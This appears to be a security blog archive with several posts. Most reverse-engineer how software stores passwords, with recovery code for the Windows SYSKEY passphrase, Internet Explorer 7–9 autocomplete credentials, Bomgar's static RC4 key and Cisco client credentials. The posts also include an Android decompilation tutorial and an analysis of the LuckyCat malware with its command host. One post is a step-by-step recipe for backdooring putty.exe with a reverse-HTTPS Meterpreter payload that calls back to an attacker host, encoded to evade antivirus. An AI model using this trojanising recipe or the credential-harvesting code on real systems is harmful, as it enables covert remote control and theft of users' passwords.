Friday, June 14, 2013

Password Algorithms: Windows System Key (SYSKEY)

0 comments
I stumbled upon some forum posts related to System Key recently and read something about 1 of the authentication modes available to Administrators that made me wonder if true or not.
Just to note, there are 3 modes.
  1. Generated by passphrase
  2. Stored in registry
  3. Stored on removable storage device
2 is enabled by default, but you can change this with the syskey.exe utility.
The claim was that if you forgot the passphrase or “startup password” there’s no reliable method of recovery. The “only way” to get back into the system is to restore a backup if one is available or disable completely using something like ntpasswd
In most cases, either way is probably sufficient enough, but there are situations where you would need to know the original passphrase and don’t have a backup available or perhaps you can’t even use a backup which could erase some critical information required.
There are a number of ways to recover the passphrase but I’ll just suggest one for now.
Found this short video which shows someone enabling the startup password
One of the the comments is “BOSS HOW WE HACK SYSKEY!!!” :-)

History of SYSKEY

SYSKEY was Microsoft’s response to pwdump and L0phtCrack.
It was provided as an optional security enhancement with Windows NT SP3 and enabled by default since the release of Windows 2000.
The purpose of this feature was to prevent pwdump working without modifications. Open source offline decryption tools didn’t surface until the release of samdump2 by Nicola Cuomo.
What follows is a short timeline of events related to SYSKEY.
March 1997Samba developer Jeremy Allison publishes pwdump which enables Administrators to dump LM and NTLM hashes stored in the SAM database.
April 1997L0pht publishes L0phtcrack which allows Administrators to audit password hashes. It had been in development since the release of pwdump.
May 1997Microsoft publishes Service Pack 3 for Windows NT which added SYSKEY as an optional feature to prevent pwdump working properly.
December 1999Todd Sabin documents flaw with SYSKEY. Anyone with access to the SAM database can reveal password hashes without the System key.
April 2000Todd Sabin releases pwdump2 which dumps password hashes with the obfuscation removed. This also dumps hashes from a domain controller.
February 2004Nicola Cuomo documents SYSKEY, Releases Samdump2 which enables offline decryption of password hashes stored in SAM database.

Password Generation

When the system boots and auth mode 1 is enabled, windows will display a dialog box waiting for you to enter the password. The following text is displayed on an XP system.
“This computer is configured to require a password in order to start up. Please enter the Startup Password below.”
Blank passwords are acceptable so whether you enter something or not, it gets processed with MD5 and authenticated once you hit OK.
#define MAX_SYSKEY_PWD 260

void pwd2key(wchar_t pwd[], uint8_t syskey[]) {
  MD5_CTX ctx;
  size_t pwd_len = wcslen(pwd);
  pwd_len = (pwd_len > MAX_SYSKEY_PWD) ? MAX_SYSKEY_PWD : pwd_len;
 
  MD5_Init(&ctx);
  MD5_Update(&ctx, pwd, pwd_len);
  MD5_Final(syskey, &ctx);
}
Enter the wrong password 3 times and you’ll receive the following error.
“System error: Lsass.exe”
“When trying to update a password the return status indicates that the value provided as the current password is not correct.”
This message appears because the LSA database key fails to decrypt but I wanted to know how exactly this password was authenticated.
Between XP and Vista, the LSA database got a major upgrade so you may see something else on post-XP systems.
If you were to attempt recovery through the LSA database, it would not only be much slower, it’s more complicated and because there’s a simpler way, I’m not going to cover it.

SAM Database

The SAM database is stored in %SystemRoot%\System32\config\SAM which as you probably know contains local user and group information, including encrypted NTLM/LM hashes.
Windows reads the value of F under SAM\Domains\Account and using the System key, decrypts the Sam key.
The structure of the F value isn’t documented but I’ve put together what I *think* is close enough to the original based on some MSDN documentation and analyzing code inSAMSRV.DLL which is where the decryption occurs.
#define SYSTEM_KEY_LEN   16
 
#define QWERTY "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"
#define DIGITS "0123456789012345678901234567890123456789"

#define SAM_KEY_LEN      16
#define SAM_SALT_LEN     16
#define SAM_CHECKSUM_LEN 16

typedef struct _SAM_KEY_DATA {
  uint32_t Revision;
  uint32_t Length;
  uint8_t Salt[SAM_SALT_LEN];
  uint8_t Key[SAM_KEY_LEN];
  uint8_t CheckSum[SAM_CHECKSUM_LEN];
  uint32_t Reserved[2];
} SAM_KEY_DATA, *PSAM_KEY_DATA;

typedef enum _DOMAIN_SERVER_ENABLE_STATE {
  DomainServerEnabled = 1,
  DomainServerDisabled
} DOMAIN_SERVER_ENABLE_STATE, *PDOMAIN_SERVER_ENABLE_STATE;

typedef enum _DOMAIN_SERVER_ROLE {
  DomainServerRoleBackup  = 2,
  DomainServerRolePrimary = 3
} DOMAIN_SERVER_ROLE, *PDOMAIN_SERVER_ROLE;

typedef struct _OLD_LARGE_INTEGER {
  unsigned long LowPart;
  long HighPart;
} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;

#pragma pack(4)
typedef struct _DOMAIN_ACCOUNT_F {
  uint32_t Revision;
  uint32_t unknown1;
  
  OLD_LARGE_INTEGER CreationTime;
  OLD_LARGE_INTEGER DomainModifiedCount;
  OLD_LARGE_INTEGER MaxPasswordAge;
  OLD_LARGE_INTEGER MinPasswordAge;
  OLD_LARGE_INTEGER ForceLogoff;
  OLD_LARGE_INTEGER LockoutDuration;
  OLD_LARGE_INTEGER LockoutObservationWindow;
  OLD_LARGE_INTEGER ModifiedCountAtLastPromotion;
  
  uint32_t NextRid;
  uint32_t PasswordProperties;
  uint16_t MinPasswordLength;
  uint16_t PasswordHistoryLength;
  uint16_t LockoutThreshold;
  uint16_t unknown2;
  
  DOMAIN_SERVER_ENABLE_STATE ServerState;
  DOMAIN_SERVER_ROLE ServerRole;
  
  uint8_t UasCompatibilityRequired;
  uint32_t unknown3[2]; 
  
  SAM_KEY_DATA keys[2];
  uint32_t unknown4;
} DOMAIN_ACCOUNT_F, *PDOMAIN_ACCOUNT_F;
#pragma pack()

NTSTATUS DecryptSamKey(PSAM_KEY_DATA key_data, uint8_t syskey[]) {
  MD5_CTX ctx;
  RC4_KEY key;
  uint8_t dgst[MD5_DIGEST_LEN];
  
  // create key with salt and decrypt data
  MD5_Init(&ctx);
  MD5_Update(&ctx, key_data->Salt, SAM_SALT_LEN);
  MD5_Update(&ctx, QWERTY, strlen(QWERTY) + 1);
  MD5_Update(&ctx, syskey, SYSTEM_KEY_LEN);
  MD5_Update(&ctx, DIGITS, strlen(DIGITS) + 1);
  MD5_Final(dgst, &ctx);
  
  RC4_set_key(&key, MD5_DIGEST_LEN, dgst);
  RC4(&key, SAM_CHECKSUM_LEN + SAM_KEY_LEN, 
      key_data->Key, key_data->Key);
  
  // verify decryption was successful by generating checksum
  MD5_Init(&ctx);
  MD5_Update(&ctx, key_data->Key, SAM_KEY_LEN);
  MD5_Update(&ctx, DIGITS, strlen(DIGITS) + 1);
  MD5_Update(&ctx, key_data->Key, SAM_KEY_LEN);
  MD5_Update(&ctx, QWERTY, strlen(QWERTY) + 1);
  MD5_Final(dgst, &ctx);
  
  // compare with checksum and return status
  if (memcmp(dgst, key_data->CheckSum, SAM_CHECKSUM_LEN) == 0) {
    return STATUS_SUCCESS;
  }
  return STATUS_WRONG_PASSWORD;
}
NOTE: The strings didn’t format well for the blog but if you plan on using, let me know.
As you can see above, the Sam key is decrypted using System key and then a checksum is generated and compared with that stored in SAM_KEY_DATA
If they match, authentication succeeded, return STATUS_SUCCESS elseSTATUS_WRONG_PASSWORD
That’s pretty much how you can brute force the System Key when auth mode 1 is selected.

Recovery

Assuming you can read the F value from SAM hive, recovery is straight forward enough with the right libraries/code.
Following is just some pseudo code to demonstrate flow of recovery using dictionary attack.
    sam = openfile("offline_system\Windows\config\SAM");
   data = readreg(sam, "SAM\Domains\Account", "F")
 
  words = openfile("dictionary.txt")
 
  while (readfile(words, pwd)) {
    pwd2key(pwd, syskey)
    if (DecryptSamKey(data->keys[0], syskey) == STATUS_SUCCESS) {
      print "Found password: " + pwd
      break;
    }
  }
  closefile(words)
  closefile(sam)
LSA and NTDS algorithms call a hash function 1000 times during creation
of the encryption/decryption key while SAM algorithm doesn’t use any.

It’s not a vulnerability but could be useful to know some day.

Injecting arbritary Metasploit payloads into Windows executables.

0 comments
This is a very simple writeup, demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.
By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.
For now I will demonstrate using Metasploit payloads, however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.
We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.
So we wget the Putty binary…
wget putty.exe
Downloading the Putty binary to backdoor
Next, we inject an encoded payload into this binary. Why do we encode it? Because we can.
msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 -k -x /var/www/lulz/putty.exe LHOST=192.168.1.41 LPORT=443 >evilputty.exe
Injecting the payload with msfvenom
Injecting the payload with msfvenom
We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.
Now for the special secret ninja sauce.
The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.
The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.
So, lets test it!
First off we start msfconsole, and give it the following commands.
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 192.168.1.41 (our local host, change this if needed)
exploit
Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.
Backdoored Putty.exe running on victim host
Backdoored Putty.exe running on victim host
Owned!
Owned! Meterpreter executing on victim

Android Application Reverse Engineering. Reversing Angry Birds.

0 comments
Ok, so this article has been a long time coming.
One of my pastimes is reverse engineering Android applications, just to see “what makes them tick”. In this article, in order to really drive this home, I will reverse engineer the popular “Angry Birds” application.
Due to time constraints and basic laziness, I went for the first APK I could find – Angry Birds in Space.
Also, before anyone asks, in the following article I will NOT be releasing the Angry Birds source code. I simply am using it as a demo :)
First off, you will want to have the Unix “unzip” utility installed. We will be using this to unpack the .apk file.
Second, grab the following pieces of software:
dex2jar – http://code.google.com/p/dex2jar/ – for converting the .dex file into a .jar file :)
and
jd-gui – http://java.decompiler.free.fr/?q=jdgui – For decompiling the (.jar) Java file into its (.java) source code :)
Now, the idea behind this article is NOT to teach you to crack apps. Instead, this is the skillset needed to reverse engineer Android Malware – as seen in my previous post – http://insecurety.net/?p=637
So. You have your .apk file, the first thing we do is use the GNU Unzip utility to unpackage it!
$ unzip Angry_Birds_Space_Premium_1.3.0.apk
Next, use the d2j-dex2jar.sh utility from dex2jar to convert classes.dex to a JAR file.
$ ./dex2jar-0.0.9.9/d2j-dex2jar.sh classes.dex
Screenshot of the above 2 steps (I piped output to /dev/null to avoid MASSIVE SPAM OF DATA)
unzip and dex2jar
Next, we simply open the .JAR file using jd-gui.
Decompiling the JAR file
Finally we can simply export the source code from jd-gui for our viewing, and editing pleasure :)
So. In conclusion
  • Android applications are trivial to reverse engineer
  • Software for decompiling them is readily available
  • Fun times :D

Initial Analysis of “LuckyCat” APT Android Malware

0 comments
First off, I have not been writing as often as I like lately. Have a bunch of nice things half written, and no time at present to finish the damn things due to college. Anyway, on with the show!
So I was browsing the Contagio Mobile Malware Dump and came across this: http://contagiominidump.blogspot.ie/2012/08/luckycata-android-apt-malware.html#more
I was intrigued. The “LuckyCat” APT people had come on my radar before for their elegant use of incredibly low-tech methods (old exploits, very simplistic malware).
So, I decided to dissect this thing. Using Dex2Jar, Unzip and JD-GUI, I was able to quickly reduce the .apk to its source code (Java, ugh) and poke around.
Trend Micro had previously shown it seemed to have file manager functionality, remote command execution, and possibly phonebook theft features. So I decided to go look at its C&C.
I eventually found the following code in the “CMainControl.java” class:
private String strReIP = “greenfuns.3322.org”;
private String strRePort = “54321″;
Now, this lead me to think “So, it connects to that host on that port… Interesting”.
An nslookup shows this no longer seems to exist:
$ nslookup greenfuns.3322.org
Server:        192.168.1.254
Address:    192.168.1.254#53
Non-authoritative answer:
Name:    greenfuns.3322.org
Address: 10.0.0.101
3322.org is, unless I am mistaken, a dynamic DNS provider.  A whois shows it to be China based, as expected.
While going over the source, I noticed a few strings with Chinese characters in them, further giving me the opinion this is another Chinese APT type threat thingy.
I did not, unfortunately, have time for anymore screwing with this, so without further ado, here is the download link to the malware and decompiled source.
PASS:      infected

Password Algorithms: Cisco Unified Personal Communicator

0 comments

This application took some time to acquire online because Cisco prevents you downloading unless you are:
  • Direct Customer
  • Partner-Reseller
  • Service Contract Owners
  • CCIE Professional
  • PICA Customer
I’ve installed on my Windows 7 workstation so results may differ.
There’s a checkbox beneath the username and password fields labelled Automatically Sign In which is disabled by default.
If you check this box, a DAT file will be created in your profile under the following path:
C:\Users\dietrich\AppData\Local\Cisco\Unified Communications\Client Services Framework\Config\Profile
The name of the file is generated by UuidCreate()
The contents are encoded with Base64 and once decoded into binary appears to be DPAPI blob.
  00000000 01 00 00 00 d0 8c 9d df 01 15 d1 11 8c 7a 00 c0      ....ð..¯..Ð..z.+
  00000010 4f c2 97 eb 01 00 00 00 57 4a ac d0 b9 66 a5 4b      O-.Ù....WJ¼ð¦fÑK
  00000020 b3 47 a3 ea 37 85 af 43 00 00 00 00 32 00 00 00      ¦GúÛ7.»C....2...
  00000030 61 00 75 00 74 00 68 00 5f 00 73 00 76 00 6e 00      a.u.t.h._.s.v.n.
  00000040 2e 00 73 00 69 00 6d 00 70 00 6c 00 65 00 2e 00      ..s.i.m.p.l.e...
  00000050 77 00 69 00 6e 00 63 00 72 00 79 00 70 00 74 00      w.i.n.c.r.y.p.t.
What’s interesting about this blob in particular is the description string which is:“auth_svn.simple.wincrypt”
I initially thought this may be part of some library and sure enough it was just that! :)LibSVN to be exact.
Here’s a snippet of the code in win32_crypto.c which uses the same description to encrypt data.
/*-----------------------------------------------------------------------*/
/* Windows simple provider, encrypts the password on Win2k and later.    */
/*-----------------------------------------------------------------------*/

/* The description string that's combined with unencrypted data by the
   Windows CryptoAPI. Used during decryption to verify that the
   encrypted data were valid. */
   
static const WCHAR description[] = L"auth_svn.simple.wincrypt";

/* Implementation of svn_auth__password_set_t that encrypts
   the incoming password using the Windows CryptoAPI. */
static svn_boolean_t
windows_password_encrypter(apr_hash_t *creds,
                           const char *realmstring,
                           const char *username,
                           const char *in,
                           apr_hash_t *parameters,
                           svn_boolean_t non_interactive,
                           apr_pool_t *pool)
{
  DATA_BLOB blobin;
  DATA_BLOB blobout;
  svn_boolean_t crypted;

  blobin.cbData = strlen(in);
  blobin.pbData = (BYTE*) in;
  crypted = CryptProtectData(&blobin, description, NULL, NULL, NULL,
                             CRYPTPROTECT_UI_FORBIDDEN, &blobout);
  if (crypted)
    {
      char *coded = apr_palloc(pool, apr_base64_encode_len(blobout.cbData));
      apr_base64_encode(coded, (const char*)blobout.pbData, blobout.cbData);
      crypted = svn_auth__simple_password_set(creds, realmstring, username,
                                              coded, parameters,
                                              non_interactive, pool);
      LocalFree(blobout.pbData);
    }

  return crypted;
}

Rather than write a decryption tool, I just dumped the contents of output returned byCryptUnprotectData() in debugger.
It’s an XML file which contains plaintext credentials and this is how Personal Communicator Automatically signs in. :)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  <UserCredentialDetails><profileName>Profile1</profileName>
    <credentials><username>userid</username>
      <password>password</password>
      <credentialsType>PRESENCE_SERVICE</credentialsType>
      <rememberMe>true</rememberMe>
    </credentials>
  </UserCredentialDetails>
It may be possible to have multiple profiles but I didn’t look into it.

Password Algorithms: Internet Explorer 7, 8, 9

0 comments

Introduction

IE10 on Windows 8 uses a different algorithm for encryption and storage so I might follow up with separate entry later. For now I’m analysing version 9.0.9 on Windows 7.
Everything here should work fine with legacy IE 7 and 8.
Considering customers may avoid migrating to Windows 8, I thought this protection was still worth covering in detail.

Storage

All autocomplete entries for a user are stored in NTUSER.DAT and they consist of a SHA-1 hash and DPAPI blob. Here’s a dump of some hashes from my own system..
C:\>reg query "HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2"

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
    6FBD22A243E7F5A0D660199683F52543E80CEB99EC    REG_BINARY    01000000D08C9DDF0115D1118. . .
    DF11F9BE8F0049A2FBFF29C6D49FE77383C2A6783A    REG_BINARY    01000000D08C9DDF0115D1118. . .
    E4CE6B2B79515319A7360D97E3B217F2FC843CC019    REG_BINARY    01000000D08C9DDF0115D1118. . .
The blobs have been truncated to avoid potential offline decryption.
Whenever IE connects to a site which requires login credentials, it will:
  1. Derive SHA-1 checksum of lowercase(URL).
  2. Search for the checksum in autocomplete entries.
  3. If checksum is found, decrypt DPAPI blob using URL and autofill the login fields.

Generation

Take the second hash..
DF11F9BE8F0049A2FBFF29C6D49FE77383C2A678 3A
This is a SHA-1 checksum of the unicode string“https://accounts.google.com/servicelogin”
The last byte 0x3A is a checksum based on addition of each byte in SHA-1 result.
The following function demonstrates this with Windows crypto API
bool GetUrlHash(std::wstring url, std::wstring &result) {

  HCRYPTPROV hProv;
  HCRYPTHASH hHash;
  
  bool bResult = false;
  
  std::transform(url.begin(), url.end(), url.begin(), ::tolower); 
  
  if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 
      CRYPT_VERIFYCONTEXT)) {
      
    if (CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) {
      if (CryptHashData(hHash, (PBYTE)url.c_str(), 
          url.length() * sizeof(wchar_t) + 2, 0)) {

        BYTE bHash[20];
        DWORD dwHashLen = sizeof(bHash);
        
        if ((bResult = CryptGetHashParam(hHash, HP_HASHVAL, bHash, 
            &dwHashLen, 0))) {
            
          BYTE chksum = 0;
          wchar_t ch[4];
          
          for (size_t i = 0;i < 20 + 1;i++) {
            BYTE x;
            
            if (i < 20) {
              x = bHash[i];
              chksum += x;
            } else {
              x = chksum;
            }
            wsprintf(ch, L"%02X", x);
            
            result.push_back(ch[0]);
            result.push_back(ch[1]);
          }
        }
      }
      CryptDestroyHash(hHash);      
    }
    CryptReleaseContext(hProv, 0);
  }
  return bResult;
}
Each username and password is stored in unicode format.
If there’s more than 1 set of credentials for the same URL, these will be added to the existing data.
The problem is that the actual structure for an entry is officially undocumented.
Fortunately, there’s an older revision of the structure online which helps a lot! :)
enum { MAX_STRINGS = 200 };   
enum { INDEX_SIGNATURE=0x4B434957 };
enum { INIT_BUF_SIZE=1024 };
enum { LIST_DATA_PASSWORD = 1 };

struct StringIndex {
  DWORD   dwSignature;
  DWORD   cbStringSize;   // up to not including first StringEntry
  DWORD   dwNumStrings;   // Num of StringEntry present
  INT64   iData;          // Extra data for string list user
  
  struct tagStringEntry {
    union
    {
      DWORD_PTR   dwStringPtr;    // When written to store
      LPWSTR      pwszString;     // When loaded in memory
    };
    FILETIME    ftLastSubmitted;
    DWORD       dwStringLen;        // Length of this string
  }
  StringEntry[];
};
Parsing a decrypted blob using this structure for reference caused a few headaches and required minor changes. In IEFrame.dllCryptProtectData() is used with URL as entropy to encrypt StringIndex + credentials.
The next problem is discovering the original URL used as entropy and this is what makes IE password algorithm quite good..

Obtaining URLs

There are a number of ways to harvest URLs for the purpose of recovering IE7-IE9 passwords. The Cache normally has a list of websites visited which can be enumerated.
Here’s one such way using COM
void EnumCache1() {
  HRESULT hr = CoInitialize(NULL);
  
  if (SUCCEEDED(hr)) {
    IUrlHistoryStg2 *pHistory = NULL;
    hr = CoCreateInstance(CLSID_CUrlHistory, NULL, 
        CLSCTX_INPROC_SERVER, 
        IID_IUrlHistoryStg2,(void**)(&pHistory));
    
    if (SUCCEEDED(hr)) {
      IEnumSTATURL *pUrls = NULL;
      hr = pHistory->EnumUrls(&pUrls);
            
      if (SUCCEEDED(hr)) {
        while (TRUE) {
          STATURL st;
          ULONG result;
          
          hr = pUrls->Next(1, &st, &result);
          
          if (SUCCEEDED(hr) && result == 1) {
           
            AddUrl(st.pwcsUrl);
            
          } else {
            break;
          }
        }
        pUrls->Release();
      }
      pHistory->Release();
    }
    CoUninitialize();
  }  
}
And another using WININET API
void EnumCache2()   
{   
  HANDLE hEntry;   
  DWORD dwSize;
  BYTE buffer[8192];
  LPINTERNET_CACHE_ENTRY_INFO info = (LPINTERNET_CACHE_ENTRY_INFO) buffer;
  
  dwSize = 8192;
  hEntry = FindFirstUrlCacheEntry(NULL, info, &dwSize);
  
  if (hEntry != NULL) {
    do {
      if (info->CacheEntryType != COOKIE_CACHE_ENTRY) {
        AddUrl(info->lpszSourceUrlName);
      }
      dwSize = 8192;    
    } while (FindNextUrlCacheEntry(hEntry, info, &dwSize));   
    FindCloseUrlCache(hEntry);
  }
}
To take things a bit further, you could also parse index.dat files but I won’t go into that here since it’s in the realm of forensics.
A better approach is probably reading a list of URLs harvested from the internet.

Recovery

Recovery is close to how IE7-IE9 process decrypts entries except we’re forcing the decryption process using a list of URL.
The following collects a list of auto complete entries

#define MAX_URL_HASH 255
#define MAX_URL_DATA 8192

typedef struct _IE_STORAGE_ENTRY {
  std::wstring UrlHash;
  DWORD cbData;
  BYTE pbData[MAX_URL_DATA];
} IE_STORAGE_ENTRY, *PIE_STORAGE_ENTRY;

DWORD GetAutocompleteEntries() {

  HKEY hKey;
  DWORD dwResult;
  
  dwResult = RegOpenKeyEx(HKEY_CURRENT_USER, 
      L"Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2",
      0, KEY_QUERY_VALUE, &hKey);
  
  if (dwResult == ERROR_SUCCESS) {
    DWORD dwIndex = 0;
    
    while (TRUE) {
      IE_STORAGE_ENTRY entry;
      
      DWORD cbUrl = MAX_URL_HASH;
      wchar_t UrlHash[MAX_URL_HASH];
      
      entry.cbData = MAX_URL_DATA;
      
      dwResult = RegEnumValue(hKey, dwIndex, UrlHash, &cbUrl, 
          NULL, 0, entry.pbData, &entry.cbData);
      
      if (dwResult == ERROR_SUCCESS) {
        entry.UrlHash = UrlHash;
        ac_entries.push_back(entry);
      } else if (dwResult == ERROR_NO_MORE_ITEMS) {
        break;
      }
      dwIndex++;
    }
    RegCloseKey(hKey);
  }  
  return ac_entries.size();
}
Now with list of URL strings and autocomplete entries, we can attempt to decrypt usingCryptUnprotectData() The decrypted data is then parsed based on the StringIndex structure.
void ParseBlob(PBYTE pInfo, const wchar_t *url) {
  
  StringIndex* pBlob = (StringIndex*)pInfo;

  // get offset of data
  PBYTE pse = (PBYTE)&pInfo[pBlob->cbHdrSize + pBlob->cbStringSize1];
  
  // process 2 entries for each login
  for (DWORD i = 0;i < pBlob->dwNumStrings;i += 2) {
  
    // get username and password
    wchar_t *username = (wchar_t*)&pse[pBlob->StringEntry[i + 0].dwStringPtr];
    wchar_t *password = (wchar_t*)&pse[pBlob->StringEntry[i + 1].dwStringPtr];
    
    bool bTime;
    wchar_t last_logon[MAX_PATH];
    
    if (lstrlen(password) > 0) {
      // get last time this was used
      FILETIME ft;
      SYSTEMTIME st;

      FileTimeToLocalFileTime(&pBlob->StringEntry[i].ftLastSubmitted, &ft);
      FileTimeToSystemTime(&ft, &st);

      bTime = (GetDateFormatW(LOCALE_SYSTEM_DEFAULT, 0, &st, L"MM/dd/yyyy", last_logon, MAX_PATH) > 0);
    } else {
      bTime = false;
    }
    wprintf(L"\n%-30s  %-20s  %-15s %s", username, password, bTime ? last_logon : L"NEVER", url);
  }
}

Conclusion

Because the URL is used as entropy, that can be problemtatic recovering all autocomplete entries.
It would be simple to recover credentials of popular services like Facebook, Gmail, Instagram, Hotmail..etc but the less well known services would be problem unless URL was stored in cache.

Password Algorithms: Bomgar Remote Desktop Software

0 comments

Introduction

This will just be a short write up on something I looked at earlier today out of curiosity.
Bomgar is a Remote Desktop application used mainly by corporations.
I’m not entirely sure why it’s preferred over other Remote Desktop solutions; seecomparisons here.
One could speculate it’s due to support of multiple operating systems.
In addition to support for Windows and Linux, there’s also iOS, Android, Blackberry, Windows Mobile and Mac OS.
For large corporations and government agencies, Bomgar’s certainly a good choice.
Anyway, I’m not trying to endorse it, just discuss the password algorithm used to protect a technicians credentials.
Just in case there’s any misunderstanding, no corporations were harmed as a result of this research :P

Storage

I’ve installed the trial version on Windows 7 and saved my username and password provided by Bomgar through e-mail.
Depending on where you’ve installed your configuration, this next part may differ for you.
My configuration was stored under:
C:\Users\dietrich\AppData\Local\Bomgar\Representative\<portal domain>\bomgar.ini
I’ve removed the portal domain as it’s not important here.
Inside bomgar.ini there are 2 properties lUsername and lPassword which have 2 strings assigned to them.
The following are just dummy entries to illustrate.
lUsername="@-@-01VGhlcmUgaXMgbm90aGluZyBoZXJl"
lPassword="@-@-01cGFzc3dvcmQgaGVyZQ=="
Note that each entry is padded with random bytes and will be longer than dummy entries above.
The string prefix “@-@-01″ is just an identifier and isn’t important.
You can remove this and pass the string through base64 decoder which leaves you with ciphertext.
At this point, I had to dig into the representative console and anaylse what’s done with the binary once it’s decoded.

Recovery

The encryption/decryption process uses RC4 and a static key which is a little peculiar.
/* just a mishmash of strings */

uint8_t static_key[] = 
{ 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
  0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46,
  0x01, 0x02, 0x03, 0x30, 0x31, 0x32, 0x33, 0x34,
  0x35, 0x36, 0x37, 0x38, 0x39, 0x61, 0x62, 0x63,
  0x64, 0x65, 0x66, 0x04, 0x77, 0x30, 0x32, 0x6d,
  0x58, 0x30, 0x40, 0x2d, 0x78, 0x31, 0x01, 0x14,
  0x91, 0x0a, 0xd1, 0xb1, 0x52, 0x66, 0x32, 0x39,
  0x31, 0x32, 0x76, 0x6f, 0x69, 0x64, 0x20, 0x2a,
  0x67, 0x65, 0x74, 0x6d, 0x65, 0x6d, 0x28, 0x69,
  0x6e, 0x74, 0x2c, 0x69, 0x6e, 0x74, 0x2c, 0x69,
  0x6e, 0x74, 0x29 };
The decryption/encryption is the same, using RC4
void bomgar_crypt(uint8_t ciphertext[], size_t len) {
  RC4_KEY key;
  uint8_t plaintext[32];
  
  memset(plaintext, 0, sizeof(plaintext));

  RC4_set_key(&key, sizeof(static_key), static_key);
  RC4(&key, len > 32 ? 32 : len, ciphertext, plaintext);

  for (int i = 0;i < 32;i++) {
    printf("%02x ", plaintext[i]);
  }
}
How to determine the exact length of username/password I leave up to you.
Just a note to the authors, I could recommend using CryptProtectData() on Windows and the Gnome-Keyring for Linux as they both provide more security than the existing algorithm.
The recovery demonstrated here isn’t very significant since the attacker needs Administrator privileges.
Enjoy Labor day! ;)